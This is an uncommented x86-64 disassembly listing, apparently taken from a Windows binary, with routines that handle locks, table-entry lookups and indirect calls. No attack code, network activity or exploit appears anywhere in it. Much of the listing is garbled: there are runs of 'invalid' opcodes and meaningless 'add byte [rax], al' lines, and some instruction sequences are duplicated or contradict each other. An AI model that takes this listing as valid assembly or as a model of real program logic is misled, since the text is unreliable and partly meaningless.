mov qword [rsp + 0x98], rax
lea rax, [rdi + 0x418]
mov qword [rsp + 0x2e0], rax
lea rax, [rdi + 0x3e0]
loopne 0x140099a1b
add byte [rax], al
mov qword [rsp + 0x590], rax
mov dword [rsp + 0x590], eax
lea rax, [rdi + 0x48]
mov qword [rsp + 0x98], rax
xorps xmm6, xmm6
pcmpeqd xmm7, xmm7
mov dword [rsp + 0xac], eax
test byte [rsp + rbp*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbx*8], ah
add byte [rax], al
invalid
mov dword [rsp + 0x50], eax
and al, 0x50
test byte [rsp + rbp*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rcx + 0x4c502444], cl
and al, 0x50
mov qword [rsp + 0x258], r12
and al, 0x50
mov qword [rsp + 0x258], r12
mov qword [rsp + 0x110], rsi
jmp 0x140099a70
mov word [rdi + 0x400], 0x101
mov dword [rdi + 0x404], 0
nop dword [rax]
movzx eax, byte [rsi]
test eax, eax
je 0x140099af0
invalid
jns 0x1400999fb
cmp eax, 1
jne 0x14009c445
clc
add dword [rdi], ecx
test ebp, eax
sub dword [rax], eax
add byte [rbx + 0x404b7], cl
add byte [rdi], cl
mov dh, 0x9f
add dword [rax + rax], eax
add byte [rax - 0x75], cl
mov word [rax + rbx*4], fs
add byte [rax], al
add byte [rcx + rcx*4 - 0x1e], cl
mov esi, dword [rdi + 0x404]
movzx ebx, byte [rdi + 0x401]
mov rcx, qword [rsp + 0x98]
mov rdx, r12
call fcn.1400a3680
test rax, rax
jne case.0x140079503.151
test rdx, rdx
jne case.0x140079503.151
mov rcx, qword [rdi + 0x188]
mov rax, qword [rdi + 0x190]
mov rdx, r12
call qword [rax + 0x30]
test rax, rax
jne 0x14009c423
test rdx, rdx
jne 0x14009c53f
sub al, byte [rax]
invalid
sub al, byte [rax]
add dh, al
xchg dword [rax], eax
add al, 0
add byte [rdx], al
mov byte [rdi + 0x400], 2
mov byte [rdi + 0x401], bl
mov dword [rdi + 0x404], esi
mov rsi, qword [rsp + 0x110]
jmp 0x140099a70
nop word [rax + rax]
lea rcx, [rsp + 0x668]
mov rdx, rdi
mov r8, r12
call fcn.14009ce10
movzx eax, byte [rsp + 0x668]
add byte [rbx - 0x7bf0fb08], al
invalid
invalid
add byte [rax], al
movzx ebx, byte [rsp + 0x669]
add byte [rax], al
mov r14d, dword [rsp + 0x66c]
mov r9d, dword [rsp + 0x670]
mov r15d, dword [rsp + 0x674]
mov r8, qword [rsp + 0x678]
movdqu xmm12, xmmword [rsp + 0x680]
mov rbp, qword [rdi + 0x408]
mov rcx, qword [rdi + 0x410]
lea r13, [rbp + 0x10]
insd dword [rdi], dx
adc byte [rax - 0x7d], cl
rcl dword [rax], 0x48
mov dword [rsp + 0x330], esi
mov rdx, qword [rsp + 0x2e8]
mov qword [rsp + 0x338], rdx
mov qword [rsp + 0x350], r13
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x358], rcx
mov byte [rsp + 0x360], 0
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsp + 0x2e0]
mov qword [rsp + 0x340], rcx
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsp + 0x590]
mov qword [rsp + 0x348], rcx
add byte [rax], al
add byte [rax], al
mov eax, eax
lea rcx, [0x140177d5c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor eax, eax
mov cl, 1
lock cmpxchg byte [r13], cl
mov qword [rsp + 0xe8], r9
and al, 0xe8
add byte [rax], al
add byte [rdi], cl
test ebp, ebp
or al, byte [rax]
invalid
and al, 0xe8
add byte [rax], al
add byte [rdi], cl
test ebp, ebp
or al, byte [rax]
add byte [rax - 0x75], cl
add eax, 0xe872b
shl rax, 1
test rax, rax
jne 0x14009a6de
xor eax, eax
movzx ecx, byte [rbp + 0x11]
test cl, cl
jne 0x14009cb6b
mov dword [rsp + 0x84], eax
lea rax, [rbp + 0x18]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x358]
mov qword [rsp + 0x58], rax
lea rax, [rbp + 0x1c8]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x70], eax
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x60], rax
mov rcx, qword [rbp + 0x228]
mov rdx, qword [rbp + 0x230]
mov r8d, r14d
invalid
call fcn.1400203c0
mov r8, qword [rbp + 0x1f8]
mov rdx, qword [rbp + 0x200]
mov r9, qword [rbp + 0x210]
mov r10, r9
and r10, rax
ret 0x8948
ror dword [rax - 0x3f], 0xe9
cmp dword [rbx + rcx*4 - 0x63], ecx
or byte [rdx], al
add byte [rax], al
movd xmm0, ecx
movd mm0, ecx
invalid
movd mm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor ebx, ebx
movdqu xmm1, xmmword [r11 + r10]
movdqa xmm2, xmm1
pcmpeqb xmm2, xmm0
pmovmskb esi, xmm2
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
test si, si
je 0x140099cf0
tzcnt r15d, esi
add r15, r10
and r15, r9
lea rcx, [r15*8]
mov r12, r11
sub r12, rcx
mov rcx, qword [r12 - 8]
cmp rdx, rcx
jbe 0x14009c68c
lea edi, [rsi - 1]
and edi, esi
mov r12, rcx
shl r12, 4
mov esi, edi
cmp dword [r8 + r12 + 8], r14d
jne 0x140099ca0
jmp 0x140099de4
add byte [rsi + 0xf], ah
je 0x140099cc3
pcmpeqb xmm1, xmm7
pmovmskb ecx, xmm1
test ecx, ecx
jne 0x14009a735
invalid
add byte [rcx + 1], cl
fimul dword [rcx - 0x7d]
ret 0x4810
mov dword [rsp + 0x598], r9d
mov dword [rsp + 0x59c], r15d
mov qword [rsp + 0x5a0], r8
movdqu xmmword [rsp + 0x5a8], xmm12
mov rax, qword [rsp + 0x598]
movq r9, xmm12
lea rcx, [rsp + 0x468]
lea rdx, [rsp + 0x5b0]
call qword [rax]
mov dword [rsp + 0x464], r14d
mov byte [rsp + 0x461], bl
mov byte [rsp + 0x460], 1
cmp dword [rdi + 0x3d0], 0
je 0x14009a035
neg r15
lea rax, [r11 + r15*8]
mov r8, qword [rsp + 0x60]
mov qword [rsp + 0x5a0], r8
mov qword [rsp + 0x5a8], rax
mov qword [rsp + 0x598], 0
cmp rcx, rdx
jae 0x14009c8da
mov rax, qword [rbp + 0x1f8]
mov edx, dword [rax + r12 + 8]
mov eax, dword [rax + r12 + 0xc]
mov rsi, qword [rsp + 0x70]
mov dword [rsp + 0x2f8], eax
mov dword [rsp + 0x2fc], edx
mov qword [rsp + 0x2f0], rsi
xor eax, eax
mov cl, 1
mov rdx, qword [rsp + 0x58]
lock cmpxchg byte [rdx], cl
mov rcx, rdx
jne 0x14009a6f6
mov rbx, qword [rdi + 0x408]
lea rsi, [rbx + 0x10]
xor eax, eax
mov cl, 1
lock cmpxchg byte [rbx + 0x10], cl
jne 0x14009c0a3
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14009c0be
xor ebp, ebp
movzx eax, byte [rbx + 0x11]
test al, al
jne 0x14009cc47
mov rdx, qword [rdi + 0x410]
lea r14, [rdx + 0x10]
xor eax, eax
mov cl, 1
mov qword [rsp + 0xb0], rdx
lock cmpxchg byte [rdx + 0x10], cl
jne 0x14009c0da
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14009c0f5
mov dword [rsp + 0xa4], 0
mov qword [rsp + 0x2d8], r14
mov dword [rsp + 0x300], ebp
mov qword [rsp + 0x578], rsi
mov r14, qword [rsp + 0xb0]
movzx eax, byte [r14 + 0x11]
test al, al
jne 0x14009cc63
mov ecx, dword [rbx + 0xc0]
mov ebp, dword [rbx + 0xc4]
mov r15d, 0
mov eax, 0
sub ebp, ecx
jle 0x14009a2c5
mov edx, ecx
shr edx, 0x1f
add edx, ecx
sar edx, 1
mov r15d, 0
mov eax, 0
cmp ebp, edx
jl 0x14009a2c5
cmp dword [rdi + 0x100], 4
jne 0x14009a218
mov rcx, qword [rdi + 0x158]
sub rcx, qword [rdi + 0x150]
mov r15d, 0
mov eax, 0
cmp rcx, qword [rdi + 0x178]
jae 0x14009a26d
mov rcx, qword [rsp + 0x98]
mov rdx, r12
call fcn.1400a3680
mov r15, rdx
test rax, rax
jne 0x14009a26d
test r15, r15
jne 0x14009a26d
mov esi, 1
cmp dword [rdi + 0x100], 4
jne 0x14009a99a
mov rcx, qword [rdi + 0x158]
sub rcx, qword [rdi + 0x150]
mov r15d, 0
mov eax, 0
cmp rcx, qword [rdi + 0x178]
jb 0x14009a99a
test rax, rax
jne 0x14009a2c5
test r15, r15
jne 0x14009a2c5
mov dword [rsp + 0x124], 0
mov dword [rsp + 0x128], ebp
mov byte [rsp + 0x120], 7
mov rcx, qword [rsp + 0x98]
lea rdx, [rsp + 0x120]
call fcn.140079480
cmp al, 0xc
jne 0x14009cde0
add ebp, dword [rbx + 0xc0]
jo 0x14009cdf3
mov dword [rbx + 0xc0], ebp
xor r15d, r15d
xor eax, eax
lea rcx, [rbx + 0x18]
mov qword [rsp + 0xb8], rcx
lea rcx, [rbx + 0x1c8]
mov qword [rsp + 0x58], rcx
test rax, rax
mov qword [rsp + 0x68], rbx
jne 0x14009a901
test r15, r15
jne 0x14009a901
mov eax, dword [rbx + 0xd4]
mov dword [rsp + 0x70], eax
mov eax, dword [rbx + 0xd8]
mov dword [rsp + 0xe8], eax
mov r13d, dword [rbx + 0xc8]
mov esi, dword [rbx + 0xcc]
mov ebp, dword [rbx + 0xd0]
jmp 0x14009a36d
mov r12d, esi
mov r14d, ebp
cmp dword [rdi + 0x100], 4
jne 0x14009a39e
mov rcx, qword [rdi + 0x158]
sub rcx, qword [rdi + 0x150]
mov r15d, 0
mov eax, 0
cmp rcx, qword [rdi + 0x178]
jae 0x14009a3f8
mov rcx, qword [rsp + 0x98]
mov rdx, qword [rsp + 0x258]
call fcn.1400a3680
mov r15, rdx
test rax, rax
jne 0x14009a3f8
test r15, r15
jne 0x14009a3f8
mov ecx, 1
cmp dword [rdi + 0x100], 4
jne 0x14009a8e2
mov rdx, qword [rdi + 0x158]
sub rdx, qword [rdi + 0x150]
mov r15d, 0
mov eax, 0
cmp rdx, qword [rdi + 0x178]
jb 0x14009a8e2
mov rcx, rax
test rax, rax
jne 0x14009a8e2
test r15, r15
jne 0x14009a8e2
test r13d, r13d
je 0x14009a7d4
mov r15d, r12d
cmp r12d, dword [rsp + 0x70]
jne 0x14009a4b0
cmp r14d, dword [rsp + 0xe8]
jne 0x14009a4b0
mov dword [rsp + 0x460], r12d
mov dword [rsp + 0x464], r14d
mov rax, qword [rbx + 0x1d8]
cmp rax, r15
jbe 0x14009cb1b
mov rcx, qword [rbx + 0x1d0]
imul rdx, r15, 0x130
cmp dword [rcx + rdx], 2
je 0x14009cb1b
add rcx, rdx
cmp dword [rcx + 0x114], r14d
jne 0x14009cb1b
cmp dword [rcx + 0xe8], 0
jne 0x14009cb47
mov dword [rbx + 0xc8], 0
mov dword [rsp + 0x60], 0
mov ebp, dword [rsp + 0xe8]
mov esi, dword [rsp + 0x70]
jmp 0x14009a53d
mov dword [rsp + 0x460], r12d
mov dword [rsp + 0x464], r14d
cmp qword [rbx + 0x1d8], r15
jbe 0x14009cb0e
mov rax, qword [rbx + 0x1d0]
imul rcx, r15, 0x130
cmp dword [rax + rcx], 2
je 0x14009cb0e
add rax, rcx
cmp dword [rax + 0x114], r14d
jne 0x14009cb0e
mov esi, dword [rax + 0xec]
mov ebp, dword [rax + 0xf0]
cmp dword [rax + 0xe8], 0
mov dword [rax + 0xe8], 0
je 0x14009cb5f
mov dword [rbx + 0xc8], 1
mov dword [rbx + 0xcc], esi
mov dword [rbx + 0xd0], ebp
mov rax, qword [rbx + 0x1d8]
mov dword [rsp + 0x60], 1
mov dword [rsp + 0x460], r12d
mov dword [rsp + 0x464], r14d
cmp rax, r15
jbe 0x14009cb0e
mov rax, qword [rbx + 0x1d0]
imul r13, r15, 0x130
cmp dword [rax + r13], 2
je 0x14009cb0e
add rax, r13
cmp dword [rax + 0x114], r14d
jne 0x14009cb0e
mov byte [rax + 0x127], 0
mov dword [rsp + 0x460], r12d
movsb byte [rdi], byte [rsi]
and al, 0x60
add al, 0
add byte [rcx + rcx*4 - 0x4c], al
and al, 0x64
add al, 0
add byte [rcx + rdi - 0x45], cl
fadd dword [rcx]
add byte [rax], al
movsb byte [rdi], byte [rsi]
and al, 0x60
add al, 0
add byte [rcx + rcx*4 - 0x4c], al
and al, 0x64
add al, 0
add byte [rcx + rdi - 0x45], cl
fadd dword [rcx]
add byte [rax], al
jbe 0x14009cb1b
mov rax, qword [rbx + 0x1d0]
cmp dword [rax + r13], 2
je 0x14009cb1b
add rax, r13
cmp dword [rax + 0x114], r14d
jne 0x14009cb1b
mov edi, dword [rax + 0x48]
movzx ecx, byte [rax + 0x50]
add cl, 0xfa
movzx ecx, cl
cmp cl, 6
mov edx, 6
cmovae ecx, edx
cmp cl, 4
je 0x14009a600
movzx ecx, cl
cmp ecx, 3
jne 0x14009a320
cmp byte [rax + 0x51], 0
je 0x14009a320
call fcn.140110270
xor al, 1
movzx ecx, byte [rbp + 0x11]
test cl, cl
je 0x140099bf7
jmp 0x14009cb6b
jno 0x14009a757
add byte [rax], al
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x598], rcx
mov qword [rsp + 0x5a0], rax
mov qword [rsp + 0x5a8], r14
mov rsi, qword [rsp + 0x70]
mov qword [rsp + 0x5b0], rsi
test r14d, r14d
je 0x14009cdaa
cmp byte [rbp + 0x70], 0
setne al
xor al, r14b
test al, 1
je 0x14009a7de
cmp dword [rbp + 0x118], 0
jne 0x14009a805
cmp dword [rbp + 0x11c], r14d
ja 0x14009a805
lea eax, [r14 + 2]
mov ecx, eax
shr ecx, 0x1f
mov dword [rbp + 0x118], ecx
mov dword [rbp + 0x11c], eax
jmp 0x14009a805
xor r15d, r15d
xor ecx, ecx
jmp 0x14009a8e2
cmp dword [rbp + 0xa0], 0
jne 0x14009a805
cmp dword [rbp + 0xa4], r14d
ja 0x14009a805
lea eax, [r14 + 2]
mov ecx, eax
shr ecx, 0x1f
mov dword [rbp + 0xa0], ecx
mov dword [rbp + 0xa4], eax
mov dword [rsp + 0x234], r14d
mov byte [rsp + 0x170], 6
mov dword [rsp + 0x1d8], 0
mov qword [rsp + 0x120], 0
mov dword [rsp + 0x1e4], 0
mov dword [rsp + 0x1f0], 0
mov dword [rsp + 0x1fc], 0
mov qword [rsp + 0x1c0], 0
mov dword [rsp + 0x208], 0
lea rax, [rsp + 0x130]
movups xmmword [rax + 0x78], xmm6
movups xmmword [rax + 0x68], xmm6
movups xmmword [rax + 0x108], xmm6
mov dword [rsp + 0x168], 0x3b9aca00
mov dword [rsp + 0x214], 0
mov qword [rsp + 0x138], 0
mov byte [rsp + 0x248], 1
mov qword [rsp + 0x1c8], 0
mov dword [rsp + 0x220], 0
mov qword [rsp + 0x150], 0
lea rcx, [rsp + 0x598]
lea rdx, [rsp + 0x120]
call fcn.140026bf0
jmp 0x140099e2b
mov rax, rcx
or rax, r15
mov eax, 0
cmovne rax, rcx
mov r12, qword [rsp + 0x258]
mov r14, qword [rsp + 0xb0]
test rax, rax
jne 0x14009c194
test r15, r15
jne 0x14009c194
cmp dword [rdi + 0x100], 4
jne 0x14009a943
mov rcx, qword [rdi + 0x158]
sub rcx, qword [rdi + 0x150]
mov r15d, 0
mov eax, 0
cmp rcx, qword [rdi + 0x178]
movzx ecx, byte [rsp + 0x42]
jae 0x14009a9b2
mov rcx, qword [rsp + 0x98]
mov rdx, r12
call fcn.1400a3680
mov r15, rdx
test rax, rax
jne 0x14009a9ad
test r15, r15
movzx ecx, byte [rsp + 0x42]
jne 0x14009a9b2
mov esi, 1
cmp dword [rdi + 0x100], 4
jne 0x14009a99a
mov rcx, qword [rdi + 0x158]
sub rcx, qword [rdi + 0x150]
mov r15d, 0
mov eax, 0
cmp rcx, qword [rdi + 0x178]
movzx ecx, byte [rsp + 0x42]
jae 0x14009a9b2
cmp byte [rsp + 0xa4], 0
jne 0x14009c1b4
jmp 0x14009c1a1
movzx ecx, byte [rsp + 0x42]
test rax, rax
jne 0x14009c112
test r15, r15
jne 0x14009c112
lea rdx, [r14 + 0x18]
lea rcx, [rbx + 0x120]
mov qword [rsp + 0x100], rcx
mov qword [rsp + 0x298], rdx
mov r8, qword [rsp + 0x58]
mov r9, rdi
call fcn.1400a42d0
mov eax, dword [rdi + 0x180]
mov qword [rsp + 0x588], rax
lea r13, [rbx + 0x130]
lea rax, [rbx + 0x134]
mov qword [rsp + 0x60], rax
lea rax, [rbx + 0x138]
mov qword [rsp + 0x70], rax
lea rax, [rbx + 0x13c]
mov qword [rsp + 0xe8], rax
lea rax, [rbx + 0x140]
mov qword [rsp + 0x458], rax
lea rax, [rbx + 0x158]
mov qword [rsp + 0x570], rax
mov qword [rsp + 0x90], r13
nop
mov rax, qword [rbx + 0x28]
cmp rax, qword [rbx + 0x30]
jbe 0x14009abe0
lea rbx, [rsp + 0x460]
mov rcx, rbx
mov rdx, qword [rsp + 0x570]
mov r8, qword [rsp + 0x58]
call fcn.140021c10
cmp qword [rsp + 0x460], 0
je 0x14009abd2
mov r14, qword [rsp + 0x460]
mov rsi, qword [rsp + 0x468]
mov rcx, qword [rsp + 0xb8]
mov rdx, rbx
call fcn.14001f950
mov qword [rsp + 0x598], rsi
mov ecx, esi
cmp qword [r14 + 0x10], rcx
jbe 0x14009c8e6
mov rax, qword [r14 + 8]
imul rcx, rcx, 0x130
cmp dword [rax + rcx], 2
je 0x14009c8e6
mov rdi, rsi
shr rdi, 0x20
add rax, rcx
cmp dword [rax + 0x114], edi
jne 0x14009c8e6
mov rdx, qword [rax + 0x90]
mov rcx, qword [rax + 0x98]
mov qword [rax + 0x90], 0
test rdx, rdx
mov rbx, qword [rsp + 0x68]
je 0x14009ab0f
call qword [rdx + 8]
mov qword [rsp + 0x460], r14
mov qword [rsp + 0x468], rsi
mov qword [rsp + 0x598], rsi
mov ecx, esi
cmp qword [r14 + 0x10], rcx
jbe case.0x14001a5bd.2119
mov rdx, qword [r14 + 8]
imul rax, rcx, 0x130
cmp dword [rdx + rax], 2
je case.0x14001a5bd.2119
add rdx, rax
cmp dword [rdx + 0x114], edi
jne case.0x14001a5bd.2119
cmp byte [rdx + 0x121], 0
jne 0x14009ac32
mov byte [rdx + 0x121], 1
cmp dword [r13], 0
je 0x14009ac08
mov rdx, qword [rsp + 0x60]
and al, 0x60
movq xmm0, qword [rdx]
mov dword [rsp + 0x598], esi
mov dword [rsp + 0x59c], edi
cmp qword [r14 + 0x10], rcx
jbe 0x14009c8e6
mov rcx, qword [r14 + 8]
cmp dword [rcx + rax], 2
je 0x14009c8e6
add rcx, rax
cmp dword [rcx + 0x114], edi
jne 0x14009c8e6
mov rbx, qword [rsp + 0x68]
nop word [rax + rax]
mov qword [rsp + 0x308], 2
mov qword [rsp + 0x328], 0
cmp dword [r13], 0
jne 0x14009ac9b
jmp 0x14009bdfd
mov dword [r13], 1
mov rax, qword [rsp + 0x60]
mov dword [rax], esi
mov rax, qword [rsp + 0x70]
mov dword [rax], edi
mov rax, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0x458]
mov dword [rax], esi
mov dword [rcx], edi
mov rcx, qword [rsp + 0x100]
lea rdx, [rsp + 0x460]
call fcn.1400216e0
mov rdi, qword [rsp + 0x108]
mov r14, qword [rsp + 0xb0]
mov qword [rsp + 0x308], 2
mov qword [rsp + 0x328], 0
cmp dword [r13], 0
jne 0x14009ac9b
jmp 0x14009bdfd
mov rax, qword [rsp + 0x60]
mov ebp, dword [rax]
mov rax, qword [rsp + 0x70]
mov r15d, dword [rax]
mov rax, qword [rsp + 0xe8]
cmp ebp, dword [rax]
jne 0x14009ad30
mov rax, qword [rsp + 0x458]
cmp r15d, dword [rax]
jne 0x14009ad30
mov dword [rsp + 0x598], ebp
mov dword [rsp + 0x59c], r15d
mov rax, qword [rbx + 0x1d8]
cmp rax, rbp
jbe case.0x14001a5bd.2119
mov rcx, qword [rbx + 0x1d0]
imul rdx, rbp, 0x130
cmp dword [rcx + rdx], 2
je case.0x14001a5bd.2119
add rcx, rdx
cmp dword [rcx + 0x114], r15d
jne case.0x14001a5bd.2119
cmp dword [rcx + 0xb8], 0
jne 0x14009cb47
mov dword [r13], 0
jmp 0x14009adac
mov dword [rsp + 0x598], ebp
mov dword [rsp + 0x59c], r15d
cmp qword [rbx + 0x1d8], rbp
jbe 0x14009c8e6
mov rax, qword [rbx + 0x1d0]
imul rcx, rbp, 0x130
cmp dword [rax + rcx], 2
je 0x14009c8e6
add rax, rcx
cmp dword [rax + 0x114], r15d
jne 0x14009c8e6
movq xmm0, qword [rax + 0xbc]
cmp dword [rax + 0xb8], 0
mov dword [rax + 0xb8], 0
je 0x14009cb5f
mov dword [rbx + 0x130], 1
movq qword [rbx + 0x134], xmm0
mov rax, qword [rbx + 0x1d8]
mov dword [rsp + 0x598], ebp
mov dword [rsp + 0x59c], r15d
cmp rax, rbp
jbe 0x14009c8e6
mov rax, qword [rbx + 0x1d0]
imul r12, rbp, 0x130
cmp dword [rax + r12], 2
je 0x14009c8e6
add rax, r12
cmp dword [rax + 0x114], r15d
jne 0x14009c8e6
mov rcx, r15
shl rcx, 0x20
or rcx, rbp
mov byte [rax + 0x121], 0
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x538], rax
mov qword [rsp + 0x540], rcx
mov qword [rsp + 0x260], 2
mov qword [rsp + 0x280], 0
mov dword [rsp + 0x598], ebp
mov dword [rsp + 0x59c], r15d
mov rcx, qword [rbx + 0x1d8]
cmp rcx, rbp
jbe case.0x14001a5bd.2119
mov rax, qword [rbx + 0x1d0]
mov rdx, qword [rax + r12]
cmp rdx, 2
je case.0x14001a5bd.2119
add rax, r12
cmp dword [rax + 0x114], r15d
jne case.0x14001a5bd.2119
mov r8d, dword [rax + 0x48]
test rdx, rdx
je 0x14009aee0
add byte [rax], al
mov dword [rsp + 0x84], r8d
mov esi, dword [rax + 0x54]
mov word [rax + 0x50], 0x100
mov dword [rax + 0x54], r15d
mov dword [rax + 0x54], edi
mov dword [rax + 0x54], edi
mov dword [rax + 0x58], esi
mov dword [rsp + 0xf0], ebp
mov dword [rsp + 0xf4], r15d
add byte [rax + 0x39], cl
stosd dword [rdi], eax
fadd dword [rcx]
add byte [rax], al
add byte [rax + 0x39], cl
stosd dword [rdi], eax
fadd dword [rcx]
add byte [rax], al
jbe 0x14009c9ac
mov rax, qword [rbx + 0x1d0]
cmp dword [rax + r12], 2
je 0x14009c9ac
add rax, r12
cmp dword [rax + 0x114], r15d
jne 0x14009c9ac
mov r14d, esi
shr r14d, 0x10
mov r13b, 8
mov edx, r15d
mov r9d, dword [rsp + 0x4c]
movzx r11d, byte [rsp + 0x44]
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x43], al
movdqa xmm13, xmm9
movdqa xmm12, xmm8
movzx eax, byte [rsp + 0x330]
add eax, dword [rax]
add byte [rbx - 0x79f0f608], al
xchg esi, eax
add al, 0
invalid
add eax, dword [rax]
add byte [rbx - 0x79f0f608], al
xchg esi, eax
add al, 0
add cl, ch
lahf
add al, 0
add byte [rcx - 0x7d], al
std
add ecx, dword [rdi]
test dword [rdx + 3], edi
add eax, dword [rax]
add byte [rax - 0x75], cl
mov ah, 0x24
cmp byte [rbx], al
add byte [rax], al
jmp 0x14009b865
add eax, dword [rax]
add byte [rax - 0x75], cl
mov ah, 0x24
cmp byte [rbx], al
add byte [rax], al
movdqu xmm13, xmmword [rsp + 0x340]
movdqu xmm12, xmmword [rsp + 0x350]
mov rax, qword [rsp + 0x360]
mov qword [rsp + 0xd0], rax
mov r14d, dword [rsp + 0x368]
mov eax, dword [rsp + 0x36c]
mov dword [rsp + 0x7c], eax
movzx eax, byte [rsp + 0x370]
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x4b], al
lea rcx, [rsp + 0x371]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rsp + 0x2d0], eax
mov dword [rsp + 0x2d3], ecx
mov eax, dword [rsp + 0x378]
mov dword [rsp + 0x44], eax
movzx eax, byte [rsp + 0x37c]
mov byte [rsp + 0x42], al
movzx eax, byte [rsp + 0x37d]
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x43], al
movzx eax, byte [rsp + 0x37e]
mov dword [rsp + 0xac], eax
add byte [rax], al
add byte [rcx - 0x48], al
int 0
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
int 0
add byte [rax], al
lea rcx, [rsp + 0x460]
lea rdx, [rsp + 0x37f]
add eax, dword [rax]
add al, ch
int 0xad
invalid
add byte [rbx + rcx*4 - 0x7c], al
and al, 0x4c
add al, 0
add byte [rax - 0x75], cl
test byte [rax + rdx*2], ah
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rdx*4], ah
add al, byte [rax]
add byte [rax - 0x73], cl
lea ecx, [rsp + 0x120]
add eax, dword [rax]
add al, ch
int 0xad
invalid
lea ecx, [rsp + 0x120]
mov rdx, qword [rsp + 0x58]
mov dword [rsp + 0xa8], r8d
call fcn.1400264b0
cmp qword [rsp + 0x120], 0
je 0x14009cdc2
movdqu xmm0, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0xf0], xmm0
mov rcx, qword [rsp + 0xf0]
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], al
and al, 0xf8
add byte [rax], al
add byte [rbx + 0xfc2484], cl
add byte [rax], al
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], al
and al, 0xf8
add byte [rax], al
add byte [rbx + 0xfc2484], cl
add byte [rax], al
mov dword [rsp + 0x288], r8d
add byte [rax], al
mov dword [rsp + 0x28c], eax
cmp qword [rcx + 0x10], r8
mov r13, qword [rsp + 0x90]
jbe 0x14009ccd5
invalid
add al, byte [rax]
add byte [rcx + rdi + 0x41], cl
adc byte [rbx + rcx*4 - 0x54], cl
and al, 0x90
add byte [rax], al
add byte [rdi], cl
xchg bh, al
invalid
add byte [rbx + rcx*4 + 0x49], cl
or byte [rcx + 0x69], cl
sal byte [rax], 1
add dword [rax], eax
add byte [rcx - 0x7d], al
cmp al, 0x11
add cl, byte [rdi]
test byte [rcx + 0x49000017], dh
add r9, rdx
mov r9, qword [rcx + 8]
imul rdx, r8, 0x130
cmp dword [r9 + rdx], 2
je 0x14009ccd5
add r9, rdx
cmp dword [r9 + 0x114], eax
jne 0x14009ccd5
mov byte [r9 + 0x125], 0
add byte [rcx + rcx*4 - 0x7c], al
and al, 0x88
add al, byte [rax]
add byte [rcx + 0x28c2484], cl
add byte [rax], al
mov dword [rsp + 0x288], r8d
mov dword [rsp + 0x28c], eax
cmp qword [rcx + 0x10], r8
jbe 0x14009ccc8
mov r8, qword [rcx + 8]
mov rcx, qword [r8 + rdx]
cmp rcx, 2
je 0x14009ccc8
add r8, rdx
cmp dword [r8 + 0x114], eax
jne 0x14009ccc8
test rcx, rcx
je 0x14009b7e3
mov rax, qword [rbx + 0x28]
cmp rax, qword [rbx + 0x30]
jbe 0x14009b7ce
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x75], cl
mov ecx, dword [rsp + 0xb8]
lea rbx, [rsp + 0xf0]
mov rdx, rbx
mov rcx, qword [rsp + 0xb8]
mov ecx, dword [rsp + 0xb8]
lea rbx, [rsp + 0xf0]
mov rdx, rbx
call fcn.14001f950
clc
dec dword [rcx + rcx*4 - 0x17]
clc
dec dword [rcx + rcx*4 - 0x17]
mov rdx, rbx
mov rbx, qword [rsp + 0x68]
call fcn.1400a4930
jmp 0x14009b7e3
sub byte [rdx], al
add byte [rax], al
sub byte [rdx], al
add byte [rax], al
mov byte [rsp + 0x42], r11b
mov dword [rsp + 0x44], r10d
mov r10, qword [rbx + 0x128]
xchg ebx, eax
sub byte [rcx], al
add byte [rax], al
xchg ebx, eax
sub byte [rcx], al
add byte [rax], al
mov rdx, qword [rcx + 0x88]
cmp r8, r10
cmp eax, edx
cmp eax, edx
cmovae r8, r10
mov r11, r8
mov ebx, eax
mov ebx, eax
sub r11, rdx
mov r9d, 0
cmovae r9, r11
test r13d, r13d
je 0x14009b605
mov r11d, dword [rcx + 0x80]
sub r11d, r13d
jl 0x14009cd92
jno case.0x140091ebb.69
movzx r11d, byte [rsp + 0x42]
mov eax, r13d
mov qword [rsp + 0xd0], rax
sub rdx, rax
sub edx, eax
sub edx, eax
mov qword [rcx + 0x88], rdx
sub dword [rcx + 0x118], r13d
add byte [rax], al
add byte [rcx + rbp - 0x57], al
sbb byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rcx + 0x29], cl
sar byte [rax], 1
invalid
sub r8, rdx
mov eax, 0
invalid
add byte [rcx + 0xf], cl
ror byte [r9 + 0x39], 0xc1
cmp r9, rax
cmovae rax, r8
cmp r9, rax
jae 0x14009b669
mov byte [rcx + 0x123], 1
mov rdx, qword [rcx + 0x90]
nop
add byte [rax], al
add byte [rax - 0x75], cl
sbb dword [rax + 0x48000000], 0x9081c7
invalid
nop
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
nop
add byte [rax], al
add byte [rax - 0x75], cl
sbb dword [rax + 0x48000000], 0x9081c7
invalid
nop
add byte [rax], al
add byte [rax], al
invalid
adc dword [rax], 0x48000000
test edx, edx
add byte [rax], al
test rdx, rdx
je 0x14009b669
mov rcx, rax
call qword [rdx + 8]
movzx r11d, byte [rsp + 0x42]
and al, 0x42
and al, 0x42
mov eax, dword [rbx + 0x124]
